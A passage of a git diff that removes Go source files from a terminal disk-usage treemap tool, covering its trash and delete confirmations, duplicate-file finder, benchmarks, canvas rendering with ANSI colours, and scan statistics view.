-func BenchmarkSquarify(b *testing.B) { - items := make([]Item, 300) - for i := range items { - items[i] = Item{int64(i), float64(1 + i*i)} - } - for b.Loop() { - Squarify(items, Rect{0, 0, 200, 60}) - } -} - -func BenchmarkNeighbour(b *testing.B) { - items := make([]Item, 300) - for i := range items { - items[i] = Item{int64(i), float64(1 + i*i)} - } - bl := Squarify(items, Rect{0, 0, 200, 60}) - for b.Loop() { - Neighbour(bl, 150, Right) - } -} diff --git a/internal/tui/actions.go b/internal/tui/actions.go deleted file mode 100644 index 7b3d7e2..0000000 --- a/internal/tui/actions.go +++ /dev/null @@ -1,276 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "io/fs" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/duplicate" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// ---- Trash --------------------------------------------------------------- - -type trashDoneMsg struct { - tree *inventory.Tree // the tree id belongs to; results for a replaced tree are dropped - id inventory.NodeID - err error - done string // "Moved to trash" or "Deleted" -} - -// requestTrash asks for confirmation before moving the selection to the -// trash. On a headless system (no desktop, so nobody empties the trash and -// the space is never freed) it deletes permanently instead, after a -// confirmation that says so. -func (m *Model) requestTrash() tea.Cmd { - switch { - case m.opts.ReadOnly: - return m.warn("Read-only mode: modifying actions are disabled") - case m.snapshot: - return m.warn("Snapshot view: nothing to delete on the live filesystem") - case m.scanning: - return m.warn("Wait for the scan to finish before deleting items") - } - id := m.selectedNode() - if id == inventory.NoNode || id == m.tree.Root() { - return nil - } - n := m.tree.Node(id) - path := m.tree.Path(id) - want := platform.Expect{UID: n.UID, Mode: fs.FileMode(n.Mode)} - what := "file" - if n.IsDir() { - what = fmt.Sprintf("directory with %s files", textutil.Count(int64(n.Files))) - } - body := []string{textutil.Sanitize(path), "", fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))), ""} - if platform.Headless() { - m.openModal(&confirmModal{ - ttl: "Delete permanently? Are you sure?", - body: append(body, "This is a headless system (no X or Wayland display), so there is no trash:", - "it will be permanently deleted and cannot be recovered."), - yes: "delete permanently", - onYes: func(m *Model) tea.Cmd { - t := m.tree - return func() tea.Msg { return trashDoneMsg{t, id, platform.Delete(path, want), "Deleted"} } - }, - }) - return nil - } - m.openModal(&confirmModal{ - ttl: "Move to trash?", - body: append(body, "It will be moved to the "+platform.TrashName+", not permanently deleted."), - yes: "move to " + platform.TrashName, - onYes: func(m *Model) tea.Cmd { - t := m.tree - return func() tea.Msg { - return trashDoneMsg{t, id, platform.Trash(path, want), "Moved to " + platform.TrashName} - } - }, - }) - return nil -} - -func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd { - if msg.err != nil { - return m.warn("Delete failed: " + textutil.Sanitize(msg.err.Error())) - } - if msg.tree != m.tree || m.scanning { - // A rescan replaced the inventory; the new scan reflects the change. - return m.info(msg.done) - } - // The scan has finished, so the UI goroutine is the tree's only writer. - t := m.tree - t.Lock() - n := t.Node(msg.id) - n.Flags |= inventory.FlagDeleted - d := inventory.Delta{Size: -n.TotSize, Alloc: -n.TotAlloc, Files: -int64(n.Files), Dirs: -int64(n.Dirs)} - if n.IsDir() { - d.Dirs-- - for i, v := range t.CatSizes(msg.id) { - d.Cat[i] = -v - } - } else { - d.Files-- - d.Cat[n.Cat] = -n.TotAlloc - } - t.Propagate(n.Parent, d) - n.TotSize, n.TotAlloc = 0, 0 - name := n.Name - t.Unlock() - m.invalidate() - return m.info(msg.done + ": " + textutil.Sanitize(name)) -} - -// ---- Duplicates ---------------------------------------------------------- - -type dupState struct { - running bool - finder *duplicate.Finder - groups []duplicate.Group - err error - cancel context.CancelFunc - started time.Time -} - -type ( - dupProgressMsg struct{} - dupDoneMsg struct { - finder *duplicate.Finder // identifies the search; stale results are dropped - groups []duplicate.Group - err error - } -) - -func (m *Model) startDuplicates() tea.Cmd { - if m.snapshot { - return m.warn("Duplicate detection needs the live filesystem") - } - if m.scanning { - return m.warn("Wait for the scan to finish first") - } - if m.dups != nil { - m.ensureDupView() - return nil - } - m.openModal(&confirmModal{ - ttl: "Find duplicate files?", - body: []string{ - "Files are grouped by size, then sampled, then fully hashed with SHA-256.", - "Only identical hashes are reported as duplicates.", - "", "This reads file contents (it may take a while and can update access times).", - }, - yes: "start", - onYes: func(m *Model) tea.Cmd { - ctx, cancel := context.WithCancel(context.Background()) - f := &duplicate.Finder{} - m.dups = &dupState{running: true, finder: f, cancel: cancel, started: time.Now()} - m.ensureDupView() - t := m.tree - return tea.Batch(m.startTicking(), func() tea.Msg { - g, err := f.Find(ctx, t, duplicate.Options{MinSize: 1, Workers: 4}) - return dupDoneMsg{f, g, err} - }) - }, - }) - return nil -} - -func (m *Model) ensureDupView() { - for i, v := range m.views { - if _, ok := v.(*dupView); ok { - m.setView(i) - return - } - } - m.views = append(m.views, &dupView{}) - m.setView(len(m.views) - 1) -} - -func (m *Model) dupMsg(msg tea.Msg) tea.Cmd { - if d, ok := msg.(dupDoneMsg); ok && m.dups != nil && d.finder == m.dups.finder { - m.dups.running = false - m.dups.groups, m.dups.err = d.groups, d.err - m.dirty = true - var wasted int64 - for _, g := range d.groups { - wasted += g.Wasted() - } - return m.info(fmt.Sprintf("Duplicates: %d verified groups, %s reclaimable", len(d.groups), textutil.Size(wasted))) - } - return nil -} - -type dupView struct { - tb table - rows []dupRow -} - -type dupRow struct { - group int - id inventory.NodeID // NoNode for a group header -} - -func (*dupView) name() string { return "Dups" } - -func (v *dupView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - d := m.dups - if d == nil { - cv.TextCentered(r.X, r.Y+r.H/2, r.W, "Press D to search for duplicates", t.muted()) - return - } - if d.running { - p := d.finder.Progress() - cv.Fill(r, " ", t.base()) - y := r.Y + r.H/2 - 2 - cv.TextCentered(r.X, y, r.W, "Finding duplicates — "+p.Stage+"…", Style{FG: t.Accent, BG: t.Bg, Attr: Bold}) - cv.TextCentered(r.X, y+2, r.W, fmt.Sprintf("%s candidate files in %s size groups", textutil.Count(p.Candidates), - textutil.Count(p.CandidateGroups)), t.base()) - if p.BytesToHash > 0 { - frac := float64(p.BytesHashed) / float64(p.BytesToHash) - bw := min(60, r.W-10) - m.paintBar(cv, r.X+(r.W-bw)/2, y+4, bw, frac, t.Accent, false) - cv.TextCentered(r.X, y+5, r.W, fmt.Sprintf("%s of %s hashed · %s skipped", textutil.Size(p.BytesHashed), - textutil.Size(p.BytesToHash), textutil.Count(p.Skipped)), t.muted()) - } - return - } - v.rows = v.rows[:0] - var tr []tableRow - for gi, g := range d.groups { - v.rows = append(v.rows, dupRow{gi, inventory.NoNode}) - tr = append(tr, tableRow{ - cells: []string{textutil.Size(g.Wasted()), fmt.Sprintf("%d × %s", len(g.Files), textutil.Size(g.Size)), fmt.Sprintf("verified identical · sha256 %x…", g.Hash[:8])}, - styles: []*Style{{FG: t.Warn, BG: t.Bg, Attr: Bold}, {FG: t.Fg, BG: t.Bg, Attr: Bold}, {FG: t.OK, BG: t.Bg}}, bar: -1, - }) - for _, id := range g.Files { - v.rows = append(v.rows, dupRow{gi, id}) - tr = append(tr, tableRow{cells: []string{"", "", " " + textutil.Sanitize(m.tree.Path(id))}, bar: -1}) - } - } - title := fmt.Sprintf("Duplicates — %d groups (Enter details · Space go to)", len(d.groups)) - if d.err != nil { - title += " — stopped: " + textutil.Sanitize(d.err.Error()) - } - v.tb.paint(m, cv, r, []column{{"WASTED", 10, true, false}, {"COPIES", 16, false, false}, {"", 0, false, false}}, tr, title) -} - -func (v *dupView) key(m *Model, k string) (bool, tea.Cmd) { - if v.tb.key(k, len(v.rows)) { - return true, nil - } - if v.tb.cursor < len(v.rows) { - r := v.rows[v.tb.cursor] - if r.id == inventory.NoNode && m.dups != nil && r.group < len(m.dups.groups) { - r.id = m.dups.groups[r.group].Files[0] - } - if r.id != inventory.NoNode { - switch k { - case "enter": - m.openModal(newInfoModal(m, r.id)) - return true, nil - case "space": - m.jumpTo(r.id) - return true, nil - case "c", "o", "d": - m.sel = int64(r.id) - } - } - } - if k == "esc" && m.dups != nil && m.dups.running { - m.dups.cancel() - return true, nil - } - return false, nil -} - -func (v *dupView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(v.rows)) - return nil -} diff --git a/internal/tui/bench_test.go b/internal/tui/bench_test.go deleted file mode 100644 index b88c4b2..0000000 --- a/internal/tui/bench_test.go +++ /dev/null @@ -1,114 +0,0 @@ -package tui - -import ( - "fmt" - "math/rand" - "testing" - - "github.com/charmbracelet/colorprofile" - - "github.com/andydixon/mapsize/internal/inventory" -) - -// bigTree builds ~1M nodes in memory: 200 top-level dirs with nested -// subdirectories, plus one flat directory with 200k files. -func bigTree() *inventory.Tree { - r := rand.New(rand.NewSource(1)) - t := inventory.New("/big", inventory.KindDir) - file := func(p inventory.NodeID, i int) { - id := t.Add(p, fmt.Sprintf("f%d.dat", i), inventory.KindFile) - n := t.Node(id) - n.Size = int64(r.ExpFloat64() * 1e6) - n.Alloc = n.Size - n.Cat = inventory.Category(r.Intn(int(inventory.NumCategories))) - } - flat := t.Add(0, "flat", inventory.KindDir) - for i := range 200_000 { - file(flat, i) - } - for d := range 200 { - top := t.Add(0, fmt.Sprintf("dir%d", d), inventory.KindDir) - for s := range 40 { - sub := t.Add(top, fmt.Sprintf("sub%d", s), inventory.KindDir) - for f := range 100 { - file(sub, f) - } - } - } - t.Recompute() - return t -} - -var bigTreeCache *inventory.Tree - -func benchModel(b *testing.B) *Model { - if bigTreeCache == nil { - bigTreeCache = bigTree() - } - m := newModel(Options{}, nil, bigTreeCache, func() {}) - m.profile = colorprofile.TrueColor - send(m, size(200, 60)) - return m -} - -// Cold frame: sorting children, LOD selection, layout and paint. -func BenchmarkBigColdFrame(b *testing.B) { - m := benchModel(b) - b.ReportMetric(float64(m.tree.Len()), "nodes") - for b.Loop() { - m.invalidate() - m.View() - } -} - -// Resize: child lists cached; layout and paint rerun for the new size. -func BenchmarkBigResize(b *testing.B) { - m := benchModel(b) - m.View() - i := 0 - for b.Loop() { - send(m, size(150+i%100, 40+i%30)) - m.View() - i++ - } -} - -// Zoomed into a 200k-entry directory (cold child sort each time). -func BenchmarkBigFlatDirCold(b *testing.B) { - m := benchModel(b) - m.tree.Children(0, func(id inventory.NodeID, n *inventory.Node) { - if n.Name == "flat" { - m.zoom = id - } - }) - for b.Loop() { - m.invalidate() - m.View() - } -} - -// Arrow-key navigation including the re-render it triggers. -func BenchmarkBigNavigate(b *testing.B) { - m := benchModel(b) - m.View() - keys := []string{"right", "down", "left", "up"} - i := 0 - for b.Loop() { - send(m, key(keys[i%4])) - m.View() - i++ - } -} - -func BenchmarkBigFilter(b *testing.B) { - m := benchModel(b) - for _, q := range []string{"size > 1MB", "*.dat AND size > 500k", "path contains sub3"} { - b.Run(q, func(b *testing.B) { - m.search.ed.set(q) - m.queryChanged() - for b.Loop() { - m.applyFilter()() - } - }) - } -} diff --git a/internal/tui/canvas.go b/internal/tui/canvas.go deleted file mode 100644 index d153821..0000000 --- a/internal/tui/canvas.go +++ /dev/null @@ -1,324 +0,0 @@ -package tui - -import ( - "strconv" - "strings" - - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// Color is 0 for the terminal default, otherwise 0x01RRGGBB. -type Color uint32 - -// RGB builds a colour. -func RGB(r, g, b uint8) Color { return Color(1<<24 | uint32(r)<<16 | uint32(g)<<8 | uint32(b)) } - -// Hex parses "#rrggbb". -func Hex(s string) (Color, bool) { - s = strings.TrimPrefix(s, "#") - if len(s) != 6 { - return 0, false - } - v, err := strconv.ParseUint(s, 16, 32) - if err != nil { - return 0, false - } - return Color(1<<24 | uint32(v)), true -} - -func (c Color) rgb() (r, g, b float64) { - return float64(c>>16&0xff) / 255, float64(c>>8&0xff) / 255, float64(c&0xff) / 255 -} - -// Mix blends c towards o by t (0..1). Default colours are returned as-is. -func (c Color) Mix(o Color, t float64) Color { - if c == 0 || o == 0 { - return c - } - r1, g1, b1 := c.rgb() - r2, g2, b2 := o.rgb() - f := func(a, b float64) uint8 { return uint8((a + (b-a)*t) * 255) } - return RGB(f(r1, r2), f(g1, g2), f(b1, b2)) -} - -// Luma returns perceived brightness 0..1. -func (c Color) Luma() float64 { - r, g, b := c.rgb() - return 0.299*r + 0.587*g + 0.114*b -} - -// Attr is a text attribute bit set. -type Attr uint8 - -const ( - Bold Attr = 1 << iota - Faint - Italic - Underline - Reverse -) - -// Style is a cell style. -type Style struct { - FG, BG Color - Attr Attr -} - -type cell struct { - s string // "" marks the continuation of a wide cluster - st Style -} - -// Canvas is an in-memory cell grid that every view paints into. It is -// serialised once per frame. -type Canvas struct { - W, H int - c []cell -} - -// NewCanvas creates a canvas filled with spaces in style st. -func NewCanvas(w, h int, st Style) *Canvas { - cv := &Canvas{W: max(w, 0), H: max(h, 0)} - cv.c = make([]cell, cv.W*cv.H) - for i := range cv.c { - cv.c[i] = cell{" ", st} - } - return cv -} - -func (cv *Canvas) in(x, y int) bool { return x >= 0 && y >= 0 && x < cv.W && y < cv.H } - -// put writes one cluster of width w at (x, y), repairing any wide cluster it -// overlaps so the grid never holds half a character. -func (cv *Canvas) put(x, y int, s string, w int, st Style) { - if !cv.in(x, y) || x+w > cv.W { - return - } - row := y * cv.W - for i := x; i < x+w; i++ { - c := &cv.c[row+i] - if c.s == "" && i > 0 && i == x { // overwriting the tail of a wide cluster - cv.c[row+i-1].s = " " - } - if c.s != "" && textutil.Width(c.s) > 1 && i+1 < cv.W { // overwriting its head - if n := &cv.c[row+i+1]; n.s == "" { - n.s = " " - } - } - } - cv.c[row+x] = cell{s, st} - for i := 1; i < w; i++ { - cv.c[row+x+i] = cell{"", st} - } -} - -// Text draws s at (x, y), clipped to maxW cells and the canvas. Control -// characters are replaced as a second line of defence (callers sanitise -// untrusted strings first). It returns the number of cells used. -func (cv *Canvas) Text(x, y int, s string, maxW int, st Style) int { - if y < 0 || y >= cv.H { - return 0 - } - limit := min(x+maxW, cv.W) - cx := x - textutil.Clusters(s, func(c string, w int) bool { - if r := c[0]; r < 0x20 || r == 0x7f || (len(c) > 1 && c[0] == 0xc2 && c[1] < 0xa0) { - c, w = "?", 1 - } - if cx+w > limit { - // A wide cluster that does not fit leaves a blank cell. - for ; cx < limit; cx++ { - if cx >= 0 { - cv.put(cx, y, " ", 1, st) - } - } - return false - } - if cx >= 0 { - cv.put(cx, y, c, w, st) - } - cx += w - return true - }) - return cx - x -} - -// TextCentered draws s centred within [x, x+w). -func (cv *Canvas) TextCentered(x, y, w int, s string, st Style) { - s = textutil.Truncate(s, w) - cv.Text(x+(w-textutil.Width(s))/2, y, s, w, st) -} - -// TextRight draws s right-aligned ending at x+w. -func (cv *Canvas) TextRight(x, y, w int, s string, st Style) { - s = textutil.Truncate(s, w) - cv.Text(x+w-textutil.Width(s), y, s, w, st) -} - -// Fill fills r with the cluster ch. -func (cv *Canvas) Fill(r treemap.Rect, ch string, st Style) { - for y := max(r.Y, 0); y < min(r.Y+r.H, cv.H); y++ { - for x := max(r.X, 0); x < min(r.X+r.W, cv.W); x++ { - cv.put(x, y, ch, 1, st) - } - } -} - -// Restyle applies fn to the style of every cell in r. -func (cv *Canvas) Restyle(r treemap.Rect, fn func(Style) Style) { - for y := max(r.Y, 0); y < min(r.Y+r.H, cv.H); y++ { - for x := max(r.X, 0); x < min(r.X+r.W, cv.W); x++ { - c := &cv.c[y*cv.W+x] - c.st = fn(c.st) - } - } -} - -// Box glyph sets. -type BoxChars struct{ H, V, TL, TR, BL, BR string } - -var ( - BoxLight = BoxChars{"─", "│", "┌", "┐", "└", "┘"} - BoxRound = BoxChars{"─", "│", "╭", "╮", "╰", "╯"} - BoxDouble = BoxChars{"═", "║", "╔", "╗", "╚", "╝"} - BoxHeavy = BoxChars{"━", "┃", "┏", "┓", "┗", "┛"} - BoxASCII = BoxChars{"-", "|", "+", "+", "+", "+"} - BoxASCIISel = BoxChars{"=", "#", "#", "#", "#", "#"} -) - -// Box draws a border around r (which must be at least 2×2). -func (cv *Canvas) Box(r treemap.Rect, b BoxChars, st Style) { - if r.W < 2 || r.H < 2 { - return - } - x1, y1 := r.X+r.W-1, r.Y+r.H-1 - for x := r.X + 1; x < x1; x++ { - cv.put(x, r.Y, b.H, 1, st) - cv.put(x, y1, b.H, 1, st) - } - for y := r.Y + 1; y < y1; y++ { - cv.put(r.X, y, b.V, 1, st) - cv.put(x1, y, b.V, 1, st) - } - cv.put(r.X, r.Y, b.TL, 1, st) - cv.put(x1, r.Y, b.TR, 1, st) - cv.put(r.X, y1, b.BL, 1, st) - cv.put(x1, y1, b.BR, 1, st) -} - -// HLine draws a horizontal rule. -func (cv *Canvas) HLine(x, y, w int, ch string, st Style) { - for i := x; i < x+w; i++ { - cv.put(i, y, ch, 1, st) - } -} - -// Cell returns the text and style at (x, y) (for tests). -func (cv *Canvas) Cell(x, y int) (string, Style) { - if !cv.in(x, y) { - return "", Style{} - } - c := cv.c[y*cv.W+x] - return c.s, c.st -} - -// Line returns the plain text of row y (for tests). -func (cv *Canvas) Line(y int) string { - var b strings.Builder - for x := 0; x < cv.W; x++ { - b.WriteString(cv.c[y*cv.W+x].s) - } - return b.String() -} - -// colorDepth selects how colours are serialised. -type colorDepth uint8 - -const ( - depthTrue colorDepth = iota - depth256 - depth16 -) - -func sgr(b *strings.Builder, st Style, depth colorDepth) { - b.WriteString("\x1b[0") - if st.Attr&Bold != 0 { - b.WriteString(";1") - } - if st.Attr&Faint != 0 { - b.WriteString(";2") - } - if st.Attr&Italic != 0 { - b.WriteString(";3") - } - if st.Attr&Underline != 0 { - b.WriteString(";4") - } - if st.Attr&Reverse != 0 { - b.WriteString(";7") - } - col := func(c Color, base string) { - if c == 0 { - return - } - switch depth { - case depth256: - b.WriteString(";" + base + ";5;") - b.WriteString(strconv.Itoa(int(quant256(c)))) - return - case depth16: - n := int(quant16(c)) - code := 30 + n - if n >= 8 { - code = 90 + n - 8 - } - if base == "48" { - code += 10 - } - b.WriteString(";" + strconv.Itoa(code)) - return - } - b.WriteString(";" + base + ";2;") - b.WriteString(strconv.Itoa(int(c >> 16 & 0xff))) - b.WriteByte(';') - b.WriteString(strconv.Itoa(int(c >> 8 & 0xff))) - b.WriteByte(';') - b.WriteString(strconv.Itoa(int(c & 0xff))) - } - col(st.FG, "38") - col(st.BG, "48") - b.WriteByte('m') -} - -// String serialises the canvas as lines of text with SGR styling and -// 24-bit colours. -func (cv *Canvas) String() string { return cv.Render(depthTrue) } - -// Render serialises the canvas. For 256 and 16 colours it quantizes with -// its own perceptual mapping (see color256.go); Bubble Tea strips colour -// entirely for colourless terminals. -func (cv *Canvas) Render(depth colorDepth) string { - var b strings.Builder - b.Grow(cv.W * cv.H * 4) - for y := 0; y < cv.H; y++ { - if y > 0 { - b.WriteByte('\n') - } - var cur Style - first := true - for x := 0; x < cv.W; x++ { - c := cv.c[y*cv.W+x] - if c.s == "" { - continue - } - if first || c.st != cur { - sgr(&b, c.st, depth) - cur, first = c.st, false - } - b.WriteString(c.s) - } - b.WriteString("\x1b[0m") - } - return b.String() -} diff --git a/internal/tui/color256.go b/internal/tui/color256.go deleted file mode 100644 index 88f9091..0000000 --- a/internal/tui/color256.go +++ /dev/null @@ -1,96 +0,0 @@ -package tui - -import ( - "math" - "sync" -) - -// The stock 256-colour conversion maps dark, slightly tinted colours to -// saturated cube entries (olive, navy), which wrecks the subtle shading the -// treemap relies on. quant256 picks the perceptually nearest entry (redmean -// distance) among the cube and the grey ramp, never the palette-dependent -// first 16 entries. - -var ( - cubeLevels = [6]int{0, 95, 135, 175, 215, 255} - q256Cache sync.Map // Color -> uint8 -) - -func redmean(r1, g1, b1, r2, g2, b2 int) int { - rm := (r1 + r2) / 2 - dr, dg, db := r1-r2, g1-g2, b1-b2 - return ((512+rm)*dr*dr)>>8 + 4*dg*dg + ((767-rm)*db*db)>>8 -} - -func quant256(c Color) uint8 { - if v, ok := q256Cache.Load(c); ok { - return v.(uint8) - } - r, g, b := int(c>>16&0xff), int(c>>8&0xff), int(c&0xff) - best, bestD := 16, math.MaxInt - for i := 0; i < 216; i++ { - cr, cg, cb := cubeLevels[i/36], cubeLevels[i/6%6], cubeLevels[i%6] - if d := redmean(r, g, b, cr, cg, cb); d < bestD { - best, bestD = 16+i, d - } - } - for i := 0; i < 24; i++ { - v := 8 + 10*i - if d := redmean(r, g, b, v, v, v); d < bestD { - best, bestD = 232+i, d - } - } - q256Cache.Store(c, uint8(best)) - return uint8(best) -} - -var q16Cache sync.Map // Color -> uint8 - -// quant16 maps a colour to a basic colour. Dark shades become black and -// unsaturated colours grey/white, so tints and shadows stay quiet; saturated -// colours keep their hue (bright variant when light), so category colours -// survive. The stock conversion instead turns dark tints into bright -// yellow/cyan. -func quant16(c Color) uint8 { - if v, ok := q16Cache.Load(c); ok { - return v.(uint8) - } - rf, gf, bf := c.rgb() - mx, mn := max(rf, gf, bf), min(rf, gf, bf) - luma := c.Luma() - var n uint8 - switch { - case luma < 0.2: - n = 0 - case mx-mn < 0.12: // grey - switch { - case luma < 0.45: - n = 8 - case luma < 0.8: - n = 7 - default: - n = 15 - } - default: - // Hue in sixths: red, yellow, green, cyan, blue, magenta. - var h float64 - switch mx { - case rf: - h = math.Mod((gf-bf)/(mx-mn), 6) - case gf: - h = (bf-rf)/(mx-mn) + 2 - default: - h = (rf-gf)/(mx-mn) + 4 - } - if h < 0 { - h += 6 - } - ansi := [6]uint8{1, 3, 2, 6, 4, 5}[int(math.Round(h))%6] - n = ansi - if luma > 0.5 { - n += 8 - } - } - q16Cache.Store(c, n) - return n -} diff --git a/internal/tui/data.go b/internal/tui/data.go deleted file mode 100644 index 1874b26..0000000 --- a/internal/tui/data.go +++ /dev/null @@ -1,199 +0,0 @@ -package tui - -import ( - "sort" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/snapshot" -) - -// kids is a cached, size-sorted child list (zero-size entries removed). -type kids struct { - ids []inventory.NodeID - sizes []int64 - total int64 -} - -// sizeOf returns the size that drives layout: the filtered size when a -// filter is active, otherwise the aggregate in the current size mode. -// Callers hold the tree read lock. -func (m *Model) sizeOf(id inventory.NodeID) int64 { - if r := m.search.result; r != nil { - return r.Size(id) - } - n := m.tree.Node(id) - if n.Flags&inventory.FlagDeleted != 0 { - return 0 - } - return n.Total(m.sizeMode) -} - -// kidsOf returns the sorted children of id, cached until data changes. -func (m *Model) kidsOf(id inventory.NodeID) *kids { - if m.kidsVer != m.dataVer { - clear(m.kidsCache) - m.kidsVer = m.dataVer - } - if k, ok := m.kidsCache[id]; ok { - return k - } - k := &kids{} - m.tree.Children(id, func(c inventory.NodeID, _ *inventory.Node) { - if s := m.sizeOf(c); s > 0 { - k.ids = append(k.ids, c) - k.sizes = append(k.sizes, s) - k.total += s - } - }) - sort.Sort(byKidSize{k}) - m.kidsCache[id] = k - return k -} - -type byKidSize struct{ *kids } - -func (b byKidSize) Len() int { return len(b.ids) } -func (b byKidSize) Less(i, j int) bool { - if b.sizes[i] != b.sizes[j] { - return b.sizes[i] > b.sizes[j] - } - return b.ids[i] < b.ids[j] -} -func (b byKidSize) Swap(i, j int) { - b.ids[i], b.ids[j] = b.ids[j], b.ids[i] - b.sizes[i], b.sizes[j] = b.sizes[j], b.sizes[i] -} - -// selectedNode returns the selected inventory node (NoNode for groups). -func (m *Model) selectedNode() inventory.NodeID { - if m.sel == noSel || isGroup(m.sel) || m.sel >= int64(m.tree.Len()) { - return inventory.NoNode - } - return inventory.NodeID(m.sel) -} - -// ensureSelection keeps the selection meaningful after any change: if the -// selected node is no longer a direct, visible child of the zoom root it -// falls back to the visible ancestor, then the group containing it, then -// the largest child. Tree read lock held. -func (m *Model) ensureSelection() { - k := m.kidsOf(m.zoom) - if len(k.ids) == 0 { - m.sel = noSel - return - } - if !m.userSel { - // Until the user picks something, follow the largest block (it - // changes while a scan is running). - m.sel = int64(k.ids[0]) - return - } - if isGroup(m.sel) { - if groupParent(m.sel) == m.zoom { - return - } - m.sel = noSel - } - id := m.selectedNode() - if id != inventory.NoNode { - // Walk up to the direct child of the zoom root. - for cur := id; cur != inventory.NoNode; cur = m.tree.Node(cur).Parent { - if m.tree.Node(cur).Parent == m.zoom { - if m.sizeOf(cur) > 0 { - m.sel = int64(cur) - return - } - break - } - } - } - m.sel = int64(k.ids[0]) -} - -// visibleSel maps the selection onto the treemap blocks: a node collapsed -// into the LOD group selects the group. -func (m *Model) visibleSel(blocks map[int64]bool) int64 { - if blocks[m.sel] { - return m.sel - } - if !isGroup(m.sel) && blocks[groupID(m.zoom)] { - return groupID(m.zoom) - } - return m.sel -} - -// zoomTo makes dir the treemap root. -func (m *Model) zoomTo(dir inventory.NodeID) { - if dir == m.zoom { - return - } - prev := m.zoom - m.zoom = dir - // Coming back out, keep the directory we left selected. - if m.tree.IsAncestor(dir, prev) { - m.sel = int64(prev) - } else { - m.sel = noSel - } - m.userSel = m.sel != noSel - m.zoomed = true - m.dirty = true -} - -func (m *Model) setView(i int) { - if i >= 0 && i < len(m.views) { - m.view = i - m.dirty = true - } -} - -// colorOf returns the base colour for a block. -func (m *Model) colorOf(id int64) Color { - t := m.theme - if isGroup(id) { - return t.Group - } - nid := inventory.NodeID(id) - n := m.tree.Node(nid) - if d := m.opts.Diff; d != nil { - switch d.StatusOf(nid, m.sizeMode) { - case snapshot.Added: - return t.DiffNew - case snapshot.Grew: - old, _ := d.OldSize(nid, m.sizeMode) - return t.DiffSame.Mix(t.DiffGrow, ratio(n.Total(m.sizeMode)-old, old)) - case snapshot.Shrank: - old, _ := d.OldSize(nid, m.sizeMode) - return t.DiffSame.Mix(t.DiffShrink, ratio(old-n.Total(m.sizeMode), old)) - } - return t.DiffSame - } - if !n.IsDir() { - if t.Ext != nil { - if c, ok := t.Ext[m.tree.ExtName(n)]; ok { - return c - } - } - return t.Cat[n.Cat] - } - cs := m.tree.CatSizes(nid) - best, bestV := -1, int64(0) - for i, v := range cs { - if v > bestV { - best, bestV = i, v - } - } - if best < 0 { - return t.EmptyDir - } - return t.Cat[best] -} - -// ratio maps a relative change to 0.35..1 for colour intensity. -func ratio(delta, base int64) float64 { - if base <= 0 { - return 1 - } - r := float64(delta) / float64(base) - return min(1, 0.35+r*0.65) -} diff --git a/internal/tui/infoview.go b/internal/tui/infoview.go deleted file mode 100644 index ed3da63..0000000 --- a/internal/tui/infoview.go +++ /dev/null @@ -1,163 +0,0 @@ -package tui - -import ( - "fmt" - "runtime" - "strings" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// infoView shows scan statistics and the error list. -type infoView struct{ tb table } - -func (*infoView) name() string { return "Scan" } - -func (v *infoView) focusErrors(m *Model) { v.tb.cursor = 0 } - -func (v *infoView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - cv.Fill(r, " ", t.base()) - st := &m.tree.Stats - root := m.tree.Node(m.tree.Root()) - lw := min(52, r.W/2) - if r.W < 100 { - lw = r.W - 2 - } - y := r.Y + 1 - x := r.X + 2 - label := Style{FG: t.Muted, BG: t.Bg} - value := Style{FG: t.Fg, BG: t.Bg, Attr: Bold} - line := func(k, val string, vs Style) { - if y >= r.Y+r.H { - return - } - cv.Text(x, y, k, 20, label) - cv.Text(x+20, y, val, lw-20, vs) - y++ - } - head := func(s string) { - if y >= r.Y+r.H-1 { - return - } - y++ - cv.Text(x, y, s, lw, Style{FG: t.Accent, BG: t.Bg, Attr: Bold}) - y++ - } - state := "Complete" - stateSt := Style{FG: t.OK, BG: t.Bg, Attr: Bold} - switch { - case m.scanning: - state, stateSt.FG = "Scanning…", t.Accent - case st.Cancelled: - state, stateSt.FG = "Cancelled — totals incomplete", t.Warn - case st.Incomplete(): - state, stateSt.FG = "Complete, with unreadable areas", t.Warn - } - cv.Text(x, y, "SCAN INFORMATION", lw, Style{FG: t.Accent, BG: t.Bg, Attr: Bold}) - y++ - line("Root", textutil.Sanitize(st.Root), value) - line("State", state, stateSt) - if st.FromSnapshot != "" { - line("Snapshot", textutil.Sanitize(st.FromSnapshot), value) - } - files := st.Files + st.Symlinks + st.Others - line("Items scanned", textutil.Count(files+st.Dirs), value) - line(" Files", textutil.Count(st.Files), value) - line(" Directories", textutil.Count(st.Dirs), value) - line(" Symlinks", textutil.Count(st.Symlinks), value) - line(" Special", textutil.Count(st.Others), value) - line("Logical size", fmt.Sprintf("%s (%s bytes)", textutil.Size(root.TotSize), textutil.Count(root.TotSize)), value) - line("Allocated size", fmt.Sprintf("%s (%s bytes)", textutil.Size(root.TotAlloc), textutil.Count(root.TotAlloc)), value) - el := st.Elapsed() - if st.FromSnapshot == "" { - line("Elapsed", textutil.Duration(el), value) - line("Rate", textutil.Count(int64(float64(files+st.Dirs)/max(el.Seconds(), 0.001)))+" items/s", value) - line("Workers", fmt.Sprintf("%d (%d CPUs)", st.Workers, runtime.NumCPU()), value) - } - - head("ERRORS AND OMISSIONS") - anyIssue := false - for k, c := range st.ErrCounts { - if c > 0 { - line(inventory.ErrKind(k).String(), textutil.Count(c), Style{FG: t.Err, BG: t.Bg, Attr: Bold}) - anyIssue = true - } - } - type row struct { - k string - v int64 - } - for _, rr := range []row{{"Unscanned dirs", st.Unscanned}, {"Excluded", st.Excluded}, {"Other FS skipped", st.SkippedMounts}, - {"Virtual FS skipped", st.VirtualSkipped}, {"Loops skipped", st.LoopsSkipped}, {"Broken symlinks", 